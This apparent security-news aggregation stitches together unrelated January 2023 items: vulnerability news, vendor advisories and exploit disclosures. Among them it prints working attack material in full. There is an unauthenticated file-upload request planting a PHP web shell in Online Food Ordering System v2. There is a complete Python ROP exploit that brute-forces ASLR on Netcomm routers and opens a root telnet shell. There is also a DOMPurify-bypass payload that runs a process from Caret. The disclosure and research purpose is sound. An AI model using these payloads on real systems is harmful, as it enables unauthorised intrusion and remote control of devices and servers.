Library has somewhat of an image problem given history of serious bugs

Library has somewhat of an image problem given history of serious bugs

  

A new tool enables developers to better protect themselves against vulnerabilities in popular file converter ImageMagick, which has suffered from various security holes in the past.

ImageMagick is used by websites to convert files and currently supports the conversion of more than 100 types.

While it has proven to be popular due to the sheer number of conversions it offers, the tool has also been subject to a number of critical security vulnerabilities over the years.

Read more of the latest web security vulnerability news

In 2016, researchers released ImageTragick, a series of vulnerabilities in the library – one of which could lead to remote code execution (RCE) via a crafted malicious image.

Two years later, Google Project Zero’s Tavis Ormandy published details of how supporting external programs can also leave ImageMagick vulnerable to RCE.

Then in 2020, researcher Alex Inführ found a shell injection vulnerability in ImageMagick, and in 2021 Synacktiv researchers demonstrated how they were able to achieve arbitrary file upload using known flaws in the library.

**Policy problem**

To protect users against these kinds of bugs, ImageMagick contains a security policy that can be customised by developers.

It’s “very tuneable policy mechanism” has options that adjust all the specific internal thresholds and features that the library can tolerate, Doyensec’s Lorenzo Stella, the tool’s author, told The Daily Swig.

Stella added, however, that the policy can cause confusion as it sometimes contains terms only people familiar with the library can recognize. “On top of that, not all the available options are listed on this page, so the code is often the only real documentation,” he said.

The new tool, called ImageMagick Security Policy Scanner, therefore enables users to evaluate the security policies on offer to determine which is right for them.

LIKE THE DAILY SWIG? Tell us what you think by filling in our survey and be in with the chance to win Burp Suite swag

In a blog post released this week (January 10), Stella wrote: “Because of the number of available options and the need to explicitly deny all insecure settings, this is usually a manual task, which may not identify subtle bypasses which undermine the strength of a policy.

“It’s also easy to set policies that appear to work, but offer no real security benefit.

“The tool’s checks are based on our research aimed at helping developers to harden their policies and improve the security of their applications, to make sure policies provide a meaningful security benefit and cannot be subverted by attackers.”

**CSP Evaluator similarities**

The researcher said the tool is similar to Google’s CSP evaluator in that it can immediately identify any security gaps in a policy and is designed to be used by both auditors and developers.

Stella also added a guide that describes how developers can harden it even more in their environments, identify different commands, verify if the policy is enforced, and more.

He added: “It’s important to remember that securing an ImageMagick installation does not stop with setting a secure policy, but should be paired with a number of other defense-in-depth practices.

“To the best of my knowledge, this is the first tool of its kind for ImageMagick,” said Stella, who noted that the security team at ImageMagick added a reference to the tool to their security page.

RECOMMENDED Threema disputes crypto flaws disclosure, prompts security flap

New tool protects against vulnerabilities in popular file converter ImageMagick

Online Food Ordering System version 2.0 suffers from a remote shell upload vulnerability.

# Exploit Title: Online Food Ordering System v2 - Remote Code Execution (RCE) (Unauthenticated)  
# Date: 01/11/2023  
# Exploit Author: Onurcan Alcan  
# Vendor Homepage: https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=16022&title=Online+Food+Ordering+System+v2+using+PHP8+and+MySQL+Free+Source+Code  
# Version: 2.0   
# Tested on: Macos / XAMPP

############## Unauthenticated File Upload Request ##############

POST /fos/admin/ajax.php?action=save_menu HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:108.0) Gecko/20100101 Firefox/108.0  
Accept: */*  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------38679779537855109463517942658  
Content-Length: 1225  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/fos/admin/index.php?page=menu  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin

-----------------------------38679779537855109463517942658  
Content-Disposition: form-data; name="id"

1  
-----------------------------38679779537855109463517942658  
Content-Disposition: form-data; name="name"

Diet Coke  
-----------------------------38679779537855109463517942658  
Content-Disposition: form-data; name="description"

In Can  
-----------------------------38679779537855109463517942658  
Content-Disposition: form-data; name="status"

on  
-----------------------------38679779537855109463517942658  
Content-Disposition: form-data; name="category_id"

3  
-----------------------------38679779537855109463517942658  
Content-Disposition: form-data; name="price"

20  
-----------------------------38679779537855109463517942658  
Content-Disposition: form-data; name="img"; filename="revcmd.php"  
Content-Type: text/php

<?  
?>  
<HTML><BODY>  
<FORM METHOD="GET" NAME="myform" ACTION="">  
<INPUT TYPE="text" NAME="cmd">  
<INPUT TYPE="submit" VALUE="Send">  
</FORM>  
<pre>  
<?  
if($_GET['cmd']) {  
  system($_GET['cmd']);  
  }  
?>  
</pre>  
</BODY></HTML>

-----------------------------38679779537855109463517942658--

Online Food Ordering System 2.0 Shell Upload

Security researchers have disclosed multiple architectural vulnerabilities in Siemens SIMATIC and SIPLUS S7-1500 programmable logic controllers (PLCs) that could be exploited by a malicious actor to stealthily install firmware on affected devices and take control of them.
Discovered by Red Balloon Security, the issues are tracked as CVE-2022-38773 (CVSS score: 4.6), with the low severity

Firmware and Hardware Security

Security researchers have disclosed multiple architectural vulnerabilities in Siemens SIMATIC and SIPLUS S7-1500 programmable logic controllers (PLCs) that could be exploited by a malicious actor to stealthily install firmware on affected devices and take control of them.

Discovered by **Red Balloon Security**, the issues are tracked as **CVE-2022-38773** (CVSS score: 4.6), with the low severity stemming from the prerequisite that exploitation requires physical tampering of the device.

The flaws "could allow attackers to bypass all protected boot features, resulting in persistent arbitrary modification of operating code and data," the company said. More than 100 models are susceptible.

Put differently, the weaknesses are the result of a lack of asymmetric signature verifications for firmware at bootup, effectively permitting the attacker to load tainted bootloader and firmware while undermining integrity protections.

A more severe consequence of loading such modified firmware is that it could give the threat actor the ability to persistently execute malicious code and gain total control of the devices without raising any red flags.

"This discovery has potentially significant implications for industrial environments as these unpatchable hardware root-of-trust vulnerabilities could result in persistent arbitrary modification of S7-1500 operating code and data," the researchers said.

Siemens, in an advisory released this week, said it has no patches planned but urged customers to limit physical access to the affected PLCs to trusted personnel to avoid hardware tampering.

The lack of a firmware update is attributed to the fact that the cryptographic scheme that undergirds the protected boot features is baked into a dedicated physical secure element chip (called the ATECC108 CryptoAuthentication coprocessor), which decrypts the firmware in memory during startup.

An attacker with physical access to the device could therefore leverage the issues identified in the cryptographic implementation to decrypt the firmware, make unauthorized changes, and flash the trojanized firmware onto the PLC either physically or by exploiting a known remote code execution flaw.

"The fundamental vulnerabilities — improper hardware implementations of the \[Root of Trust\] using dedicated cryptographic-processor — are unpatchable and cannot be fixed by a firmware update since the hardware is physically unmodifiable," the researchers explained.

However, the German automation giant said it's in the process of releasing new hardware versions for the S7-1500 product family that come with a revamped "secure boot mechanism" that resolves the vulnerability.

The findings come as industrial security firm Claroty last year disclosed a critical flaw impacting Siemens SIMATIC devices that could be exploited to retrieve the hard-coded, global private cryptographic keys and completely compromise the product.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Over 100 Siemens PLC Models Found Vulnerable to Firmware Takeover

**According to the CVSS metric, a successful exploitation could lead to a scope change (S:C). What does this mean for this vulnerability?**

This vulnerability could lead to a browser sandbox escape.

CVE-ID

Learn more at National Vulnerability Database (NVD)

• CVSS Severity Rating • Fix Information • Vulnerable Software Versions • SCAP Mappings • CPE Information

Description

\*\* RESERVED \*\* This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.

References

**Note:** References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.

Assigning CNA

N/A

Date Record Created

**20221216**

Disclaimer: The record creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE.

Phase (Legacy)

Assigned (20221216)

Votes (Legacy)

Comments (Legacy)

Proposed (Legacy)

N/A

This is a record on the CVE List, which provides common identifiers for publicly known cybersecurity vulnerabilities.

Search CVE Using Keywords:  

You can also search by reference using the CVE Reference Maps.

For More Information:  CVE Request Web Form (select "Other" from dropdown)

CVE-2023-21775: Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability

Malicious actors are actively attempting to exploit a recently patched critical vulnerability in Control Web Panel (CWP) that enables elevated privileges and unauthenticated remote code execution (RCE) on susceptible servers.
Tracked as CVE-2022-44877 (CVSS score: 9.8), the bug impacts all versions of the software before 0.9.8.1147 and was patched by its maintainers on October 25, 2022.
Control

Malicious actors are actively attempting to exploit a recently patched critical vulnerability in Control Web Panel (CWP) that enables elevated privileges and unauthenticated remote code execution (RCE) on susceptible servers.

Tracked as **CVE-2022-44877** (CVSS score: 9.8), the bug impacts all versions of the software before 0.9.8.1147 and was patched by its maintainers on October 25, 2022.

Control Web Panel, formerly known as CentOS Web Panel, is a popular server administration tool for enterprise-based Linux systems.

"login/index.php in CWP (aka Control Web Panel or CentOS Web Panel) 7 before 0.9.8.1147 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the login parameter," according to NIST.

Gais Security researcher Numan Turle has been credited with discovering and reporting the flaw to the Control Web Panel.

Exploitation of the flaw is said to have commenced on January 6, 2023, following the availability of a proof-of-concept (PoC), the Shadowserver Foundation and GreyNoise disclosed.

"This is an unauthenticated RCE," Shadowserver said in a series of tweets, adding, "exploitation is trivial."

GreyNoise said that it has observed four unique IP addresses attempting to exploit CVE-2022-44877 to date, two of which are located in the U.S. and one each from the Netherlands and Thailand.

In light of active exploitation in the wild, users reliant on the software are advised to apply the patches to mitigate potential threats.

This is not the first time similar flaws have been discovered in CWP. In January 2022, two critical issues were identified in the hosting panel that could have been weaponized to achieve pre-authenticated remote code execution.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Alert: Hackers Actively Exploiting Critical "Control Web Panel" RCE Vulnerability

Authentication bypass in Netcomm router models NF20MESH, NF20, and NL1902 allows an unauthenticated user to access content. In order to serve static content, the application performs a check for the existence of specific characters in the URL (.css, .png etc). If it exists, it performs a "fake login" to give the request an active session to load the file and not redirect to the login page.

**Netcomm - Unauthenticated Remote Code Execution**

*   CVE-2022-4873
*   CVE-2022-4874

**Affected Devices:**

Research performed against the NF20MESH router revealed an unauthenticated remote code execution vulnerability that affects devices running firmware prior to version R6B025. The following devices have been confirmed by the vendor to be vulnerable:

*   NF20
*   NF20MESH
*   NL1902

It's possible that other devices may also be affected.

**Overview**

Netcomm produce routers for residential and small business use. At the time of writing, the Netcomm NF20Mesh router is currently recommended by Aussie Broadband when signing up for a new service with the number other Australian service providers and vendors starting to offer Netcomm routers.

Noticing that a new model had been released, I had to know if a previous 0day of mine still worked against it. Aftering promptly ordering the new model, I was quickly saddened to see that two of my bugs didn't work.

Reading through the firmware release notes, it didn't appear that my previous bugs had been found, so I was curious to know why it didn't affect it. As I was stepping through each part of the exploit chain, I noticed that some of the previous functionality I had previously abused to land my original shell had now been retired or removed.

I wanted to try and find another RCE, so I downloaded the latest firmware to try and pull out the filesystem. Unfortunately, all of the newer firmware releases were now provided in an encrypted format.

**Initial Shell**

Not having the luxury of simply running binwalk to pull out the filesystem like I did last time, I started looking for an alternative method to gain access to the device's file system. I spent a fair bit of time trying to black box the web server, looking for ping utilities and other pages that might be shelling out for command injection bugs, arbitrary file reads that could leak file contents etc.

Failing to find any obvious low hanging vulnerabilities, I decided to try and get onto the board by soldering to a UART interface:

Turning the device on, I could see the bootup process happening through the console where eventually I was asked to login. Logging into the device however dropped me into the same telnet shell which I was unable to escape out of:

Restarting the device, I interupted the boot process and added an extra kernel boot parameter:

Continuing the boot process with the r command, I was able to drop into a local shell via serial:

Finally, running the startup commands in /etc/inittab brought all the services up, allowing me to take files off the device with netcat.

**Vulnerabilities**

Having local shell access now allowed me to start looking for vulnerabilities resulting an authentication bypass and a stack-based buffer overflow to achieve unauthenticated remote code execution.

****1\. Authentication Bypasss (CVE-2022-4874):****

While reverse engineering the httpd binary, I noticed the application was performing checks against the request file extensions using the strstr() function.

If you're unfamiliar with the strstr function in C, strstr finds the first occurrence of a word/character within a string. Rather than checking if the file in the path ends with .css, .png etc, it's only checking if the presence of these values in the path are there:

After this check, and additional check is performed to ensuring that a referer is set:

If both these checks pass, the do_ej function then processes the requested file:

Playing around with the strstr() function, I was able to trick the application into thinking I was authenticated by fetching a restricted page that was prefxied with /.css/ in front of it. The strstr check passes, and then processes the request:

I'm not 100% sure as to why the extension check was written this way, but I think this is a work around for serving static content while putting everything behind authentication. In order to serve a background image for the login page, it sets the request as being in an authenticated state to be able to successfully fetch the resource.

Additionally, I noticed there is a strange unauthenticated /twgjtelnetopen.cmd route which, while returning a 404 error page, is opening up the telnet service:

Perhaps some kind of debug/tech support endpoint?

****2\. Buffer Overflow (CVE-2022-4873):****

The second step was trying to find an alternative method for getting code execution on the device.

Using checksec, I could see the httpd binary had been compiled with a non-executable stack (NX), however other exploit mitigations had not been enabled:

    gdb-peda$ checksec
    Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
    Use 'set logging enabled off'.
    
    Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
    Use 'set logging enabled on'.
    
    CANARY    : disabled
    FORTIFY   : disabled
    NX        : ENABLED
    PIE       : disabled
    RELRO     : Partial
    

I looked for cross-references to any system() calls that I might be able to hit, however was unable to find anything that looked injectable. I then looked for any cases of dangerous functions being used that might be exploitable. Fortunately, I was able to find quite a few instances of strcpy being used:

Given the number of strcpy references in the application, I wrote a small python script to starting fuzzing parameters to see if we could trigger any bugs while I performed a deeper analysis of the binary itself. After running the fuzzer, I quickly saw the following crash on my UART console:

    task: cdd0dc00 ti: caca0000 task.ti: caca0000
    PC is at 0x41414140
    LR is at 0x29218
    pc : [<41414140>]    lr : [<00029218>]    psr: 60070010
    sp : bee158c0  ip : 00000000  fp : 41414141
    r10: 41414141  r9 : 41414141  r8 : 00000000
    r7 : 41414141  r6 : 41414141  r5 : 41414141  r4 : 41414141
    r3 : 00000000  r2 : 00000000  r1 : 00000000  r0 : 00000001
    [...]
    

I could also see that I had full control over the r4, r5, r6, r7, r10 and fp registers at the time of the crash. But, most importantly, I had full control over the PC register. Unfortunately with the NX stack protections enabled, I would need to build a ROP chain in order to get a shell.

Looking through the crash I noticed another issue. The memory pages for the binary were being loaded into address ranges containing null bytes:

    Call Process maps
    00010000-0009f000 r-xp 00000000 fe:00 742        /bin/httpd
    000ae000-000af000 r--p 0008e000 fe:00 742        /bin/httpd
    000af000-000b5000 rw-p 0008f000 fe:00 742        /bin/httpd
    [...]
    

This was a problem. Even though the application itself wasn't compiled with ASLR protection, I couldn't use any gadgets in it because the presence of a null byte would terminate the payload early. All the other libraries used by the application were using the system's ASLR, which meant I was going to have to tackle the address randomization of the functions in libraries being used.

To help with getting a working exploit, I turned ASLR off on the router by running the following command:

    echo 0 > /proc/sys/kernel/randomize_va_space
    

This provided a more stable environment to help with debugging the ROP chain by not having addresses changing on me while getting it to work. After getting an exploit working with ASLR turned off, I had to now go back and get it working with it enabled. Fortunately during the debugging process of the current exploit, I noticed that the main application wasn't actually crashing. Instead, it was actually forking out a httpd service which processed the request and was crashing. Additionally, the number of bytes in the address range changing was brute forceable. I grabbed the base address of libc from a crash and calcuated where the addresses to functions would be.

Because the main process wasn't dying, I could keep issuing the same request in an infinite loop and see if I got lucky with libc being loaded again at the hardcoded base address by connecting to the telnet service:

**Exploit / TL;DR:**

If you're really unlucky, it can take up to 10-15 minutes for the exploit to finally get a hit on libc's base address. I've found on average though that somewhere between 3-5 minutes seems to be the sweet spot.

#!/usr/bin/python3
"""
Netcomm NF20MESH Unauthenticated RCE
Author: Brendan Scarvell
Vulnerable versions: <= R6B021
A stack based buffer overflow exists in the sessionKey query string parameter. An authentication bypass
was also discovered by providing /.css/ in the request path. Chaining both of the two bugs together
results in unauthenticated remote code execution.
The exploit can take up to 5-10 minutes until it gets lucky and hits the right base address for libc.
"""

import requests, telnetlib, sys, time

"""
task: cdd0dc00 ti: caca0000 task.ti: caca0000
PC is at 0x444444
LR is at 0x29218
pc : \[<00444444>\]    lr : \[<00029218>\]    psr: 60070010
sp : bee158c0  ip : 00000000  fp : 41414141
r10: 41414141  r9 : 41414141  r8 : 00000000
r7 : 41414141  r6 : 41414141  r5 : 41414141  r4 : 41414141
r3 : 00000000  r2 : 00000000  r1 : 00000000  r0 : 00000001
"""

TARGET \= "192.168.20.1"

MAX\_BUF\_SIZE \= 4140

libc\_system         \= b"%6C%89%a2%b6"   \# 0xb6a2896c

\# Gadgets
big\_pop             \= b"%40%2b%65%b6"   \# 0xb6652b40 (0x00079b40) : mov r0, r1; pop {r4, r5, r6, r7, pc};
add\_r1\_sp\_blx\_r5    \= b"%6c%79%6d%b6"   \# 0xb66d796c (0x000fe96c) : add r1, sp, #0x14; blx r5;
mov\_r0\_r1\_blx\_r3    \= b"%cc%d0%64%b6"   \# 0xb664d0cc (0x000740cc) : mov r0, r1; blx r3;
mov\_r4\_r3\_pop\_r4\_pc \= b"%7c%98%65%b6"   \# 0xb665987c mov r3, r4; mov r0, r3; pop {r4, pc}; 

\# pewpew
buf  \= b"A" \* 4096
buf += big\_pop              \# r3 => pop system() into PC
buf += mov\_r0\_r1\_blx\_r3     \# r5 => mov r1 into r0, blx to r3 to continue chain (big\_pop ^)
buf += b"B" \* ((MAX\_BUF\_SIZE \- len(buf)))                  
buf += mov\_r4\_r3\_pop\_r4\_pc  \# move r4 into r3 to continue rop chain
buf += b"CCCC"              
buf += add\_r1\_sp\_blx\_r5     \# push sp to point at command and save in r1
buf += b"D" \* 16            
buf += libc\_system          \# executed last after r0 populated
buf += b""
buf += b"sh%20-c%20%22/bin/busybox%20telnetd%20-l%20/bin/sh%20-p%2031337%22%23"     

print(f"\[\*\] payload length: {len(buf)}")

buf \= buf.decode("latin1")

\# Referer header is required in the request
headers \= {
    "Referer": f"http://{TARGET}/login.html" 
}

print("\[\*\] bruteforcing aslr. this could take a while..")

pwned \= False

\# keep repeating until the base address for libc is 0xb65d9000, allowing the gadgets + system() line up correctly

while not pwned:
    try:
        r \= requests.get(f"http://{TARGET}/.css/rtroutecfg.cgi?defaultGatewayList=ppp0.3&dfltGw6Ifc=&sessionKey={buf}", timeout\=5, headers\=headers)

    except requests.exceptions.ConnectionError:
        \# successful exploitation hangs connection. Capture timeout so we dont hang forever
        print("\\n\[\*\] got hit on libc @ 0xb65d9000")
    
    try:
        tn \= telnetlib.Telnet(TARGET, 31337)
        if (tn):
            pwned \= True
            print("\[\*\] popping shell")
            time.sleep(2)
            tn.interact()
    except:
        sys.stdout.write(".")
        sys.stdout.flush()

**Timeline**

*   16/10/22 - Requested security contact to report details to.
*   17/10/22 - Netcomm responded advising to send details in ticket to forward to engineering. Advised Netcomm of 60 day disclosure period.
*   01/11/22 - Netcomm provided updated firmware to verify patch. Advised Netcomm patch was incomplete.
*   08/11/22 - Netcomm provided another updated firmware to verify patch. Advised Netcomm issues appeared to be resolved.
*   18/11/22 - Netcomm released firmware (R6B021) with the fix to public. CVE requested through MITRE.
*   03/12/22 - Requested update from MITRE for CVE.
*   16/12/22 - Requested another update from MITRE regarding CVE.
*   27/12/22 - Advisory disclosed. CVE still pending.
*   04/01/23 - CVE-2022-4873 and CVE-2022-4874 assigned to bugs.

CVE-2022-4874: advisories/2022_netcomm_nf20mesh_unauth_rce.md at main · scarvell/advisories

Debian Linux Security Advisory 5313-1 - It was found that those using java.sql.Statement or java.sql.PreparedStatement in hsqldb, a Java SQL database, to process untrusted input may be vulnerable to a remote code execution attack.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5313-1                   security@debian.orghttps://www.debian.org/security/                          Markus KoschanyJanuary 11, 2023                      https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : hsqldbCVE ID         : CVE-2022-41853Debian Bug     : 1023573It was found that those using java.sql.Statement or java.sql.PreparedStatementin hsqldb, a Java SQL database, to process untrusted input may be vulnerable toa remote code execution attack. By default it is allowed to call any staticmethod of any Java class in the classpath resulting in code execution. Theissue can be prevented by updating to 2.5.1-1+deb11u1 or by setting the systemproperty "hsqldb.method_class_names" to classes which are allowed to be called.For example, System.setProperty("hsqldb.method_class_names","abc") or Javaargument -Dhsqldb.method_class_names="abc" can be used. From version2.5.1-1+deb11u1 all classes by default are not accessible except those injava.lang.Math and need to be manually enabled.For the stable distribution (bullseye), this problem has been fixed inversion 2.5.1-1+deb11u1.We recommend that you upgrade your hsqldb packages.For the detailed security status of hsqldb please refer toits security tracker page at:https://security-tracker.debian.org/tracker/hsqldbFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQKTBAEBCgB9FiEErPPQiO8y7e9qGoNf2a0UuVE7UeQFAmO98RdfFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldEFDRjNEMDg4RUYzMkVERUY2QTFBODM1RkQ5QUQxNEI5NTEzQjUxRTQACgkQ2a0UuVE7UeTvExAAr/PkL7dghDuiVOzcE6Imt2Z1p+qeOIQf/UbvwSZw/fb5zt9QrDmM/fp3d9GhWOoxzspsmNJ6LieCMeN4pih+q1DXaD6HE9o+X90FjYXaJSnfRZMCjbYor6dtN7CnzJnBnr/5iJ6XTS9lSmntpPdLlpXpdicivSeEtLkDgYH3LnZ/YKPVWPnDD6gusce8t3yttfzgZkGL7h6jhS5aWZwD4bbvUVEeb0uzGlYALP3yv4znbwS1483jUPwB0bfUu2mYgR6+byHMoud+aqbqZXkKL4nr+FkwYIRyXkXn5riME+jkM8LegU0kF3A5CkwylkbUdLk4D7glskpuwWbxTjdAmuiqLoHpNbBPyqHd8w4GcOr/ZlcZIXEqownSNv3pGDjqA3KLWzTKmfIAidSLbnKhqQkWpvRlv34kb8jgqDHmYR3wORaHW6jOGGysBqx4igyLLgYGQukk8pHahoR8VF6hiHihkVjjylqnx6m5hAt4CpQCtCzG9IKqTKjSApT8qM8JNvfzgu0Fa3hiY4O3lbr6W5elSnAjeh49tRaRmT/nT6n4sng0MOCPeBsXXRhr8UuwZhh4SU9XAGJ3O6yVRoouAb/IIM6ALwFlMDRwHU+lB3YJhciXj1yMFJqWUKleG3lajnEDXYhlF50W26LKXRE7KAUmkt7H3wQxkgHAKRqPrbc==3k8R-----END PGP SIGNATURE-----

Debian Security Advisory 5313-1

Gentoo Linux Security Advisory 202301-5 - A vulnerability has been discovered in Apache Commons Text which could result in arbitrary code execution. Versions less than 1.10.0 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202301-05  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: High  
    Title: Apache Commons Text: Arbitrary Code Execution  
     Date: January 11, 2023  
     Bugs: #877577  
       ID: 202301-05

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

A vulnerability has been discovered in Apache Commons Text which could  
result in arbitrary code execution.

Background  
==========

Apache Commons Text is a library focused on algorithms working on  
strings.

Affected packages  
=================

    -------------------------------------------------------------------  
     Package              /     Vulnerable     /            Unaffected  
    -------------------------------------------------------------------  
  1  dev-java/commons-text      < 1.10.0                    >= 1.10.0

Description  
===========

Apache Commons Text performs variable interpolation, allowing properties  
to be dynamically evaluated and expanded. The standard format for  
interpolation is "${prefix:name}", where "prefix" is used to locate an  
instance of org.apache.commons.text.lookup.StringLookup that performs  
the interpolation. The set of default Lookup instances included  
interpolators that could result in arbitrary code execution or contact  
with remote servers. These lookups are: - "script" - execute expressions  
using the JVM script execution engine (javax.script) - "dns" - resolve  
dns records - "url" - load values from urls, including from remote  
servers Applications using the interpolation defaults in the affected  
versions may be vulnerable to remote code execution or unintentional  
contact with remote servers if untrusted configuration values are used.

Impact  
======

Crafted input to Apache Commons Text could trigger remote code  
execution.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All Apache Commons Text users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=dev-java/commons-text-1.10.0"

References  
==========

[ 1 ] CVE-2022-42889  
      https://nvd.nist.gov/vuln/detail/CVE-2022-42889

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202301-05

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2023 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202301-05

Caret is vulnerable to an XSS attack when the user opens a crafted Markdown file when preview mode is enabled. This directly leads to client-side code execution.

CVE-2022-42967 | CVSS 7.5

JFrog Severity:high

Published 10 Jan. 2023 | Last updated 10 Jan. 2023

XSS in Caret markdown editor leads to remote code execution when viewing crafted Markdown files

Caret Editor

All versions are affected

This issue is caused due to insufficient validation of the document data, which is sent to the Electron renderer. Specifically, in the getMarkdownHtmlElement function in the file app.asar/extensions/Markdown/Markdown.js -

t.firstChild.innerHTML = DOMPurify.sanitize(r)

An older version of DOMPurify is used, which has known filtering bypasses (see below)

Opening a document with the following contents, **when preview mode is enabled**, leads to the immediate execution of an arbitrary process (in this case - Calculator) -

    <form><math><mtext></form><form><mglyph><style></math><img src
    onerror="try{ const {shell} = require('electron');
    shell.openExternal('file:C:/Windows/System32/calc.exe') }catch(e){alert(e)}">
    

Disable Caret's "Preview Mode"

NVD

CVE-2022-42967: Caret XSS RCE |

In SugarCRM before 12.0. Hotfix 91155, a crafted request can inject custom PHP code through the EmailTemplates because of missing input validation.

SugarCRM SupportPoliciesSecuritysugarcrm-sa-2023-001

**Advisory ID**: https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2023-001

**Revision**: 1.0

**Last Updated**: 2023-01-10

**Status**: Final

**Summary**

**Risk Level**: High

**Vulnerability**: RCE (Remote Code Execution)

**Description**

A Remote Code Execution vulnerability has been identified in the EmailTemplates. Using a specially crafted request, custom PHP code can be injected through the EmailTemplates because of missing input validation. Any user privileges can exploit this vulnerability. 

**Affected Products**

The list of affected products reflects all currently maintained versions at the publication date of this advisory. If you are running older versions than the ones reported below, we strongly advise upgrading immediately to one of the supported versions.

**Product**

**Fixed Release**

SugarCRM 12.2   
Enterprise, Sell, Serve 

12.2.0   
Hotfixed in SugarCloud 

SugarCRM 12.1   
Enterprise, Sell, Serve 

12.1.0   
Hotfixed in SugarCloud 

SugarCRM 12.0   
Enterprise, Sell, Serve 

12.0.   
Hotfix 91155 12.0.0-12.0.1 (Ent+Ult) v1.1   
Hotfix 91155 12.0.0-12.0.1 (Pro) v1.1   
Hotfixed in SugarCloud 

SugarCRM 11.3   
Professional, Enterprise, Ultimate, Sell, Serve 

11.3.0   
Hotfixed in SugarCloud 

SugarCRM 11.2   
Professional, Enterprise, Ultimate, Sell, Serve 

11.2.0   
Hotfixed in SugarCloud 

SugarCRM 11.1   
Professional, Enterprise, Ultimate, Sell, Serve 

11.1.0   
Hotfixed in SugarCloud 

SugarCRM 11.0   
Professional, Enterprise, Ultimate, Sell, Serve 

11.0.4   
Hotfix 91155 11.0.0-11.0.5 (Ent+Ult) v1.1   
Hotfix 91155 11.0.0-11.0.5 (Pro) v1.1   
Hotfixed in SugarCloud 

**Upgrades****On-Site Customers**

For more information on mitigation, please contact Sugar Support or refer to our FAQ. 

**SugarCloud and SugarCRM Managed Hosting Customers**

Hotfix has been applied to all Sugar supported versions. 

**Workaround**

There is no workaround available for this vulnerability.

**Publication History**

2023-01-10

Update audience disclosure

2023-01-03

Internal disclosure

A stand-alone copy of this document that omits the distribution URL is an uncontrolled copy and may lack important information or contain factual errors. SugarCRM reserves the right to change or update this document at any time.

**Credits**

The vulnerability has been responsibly disclosed by several SugarCRM partners and has been fixed by the SugarCRM Security Team.

Tag

#rce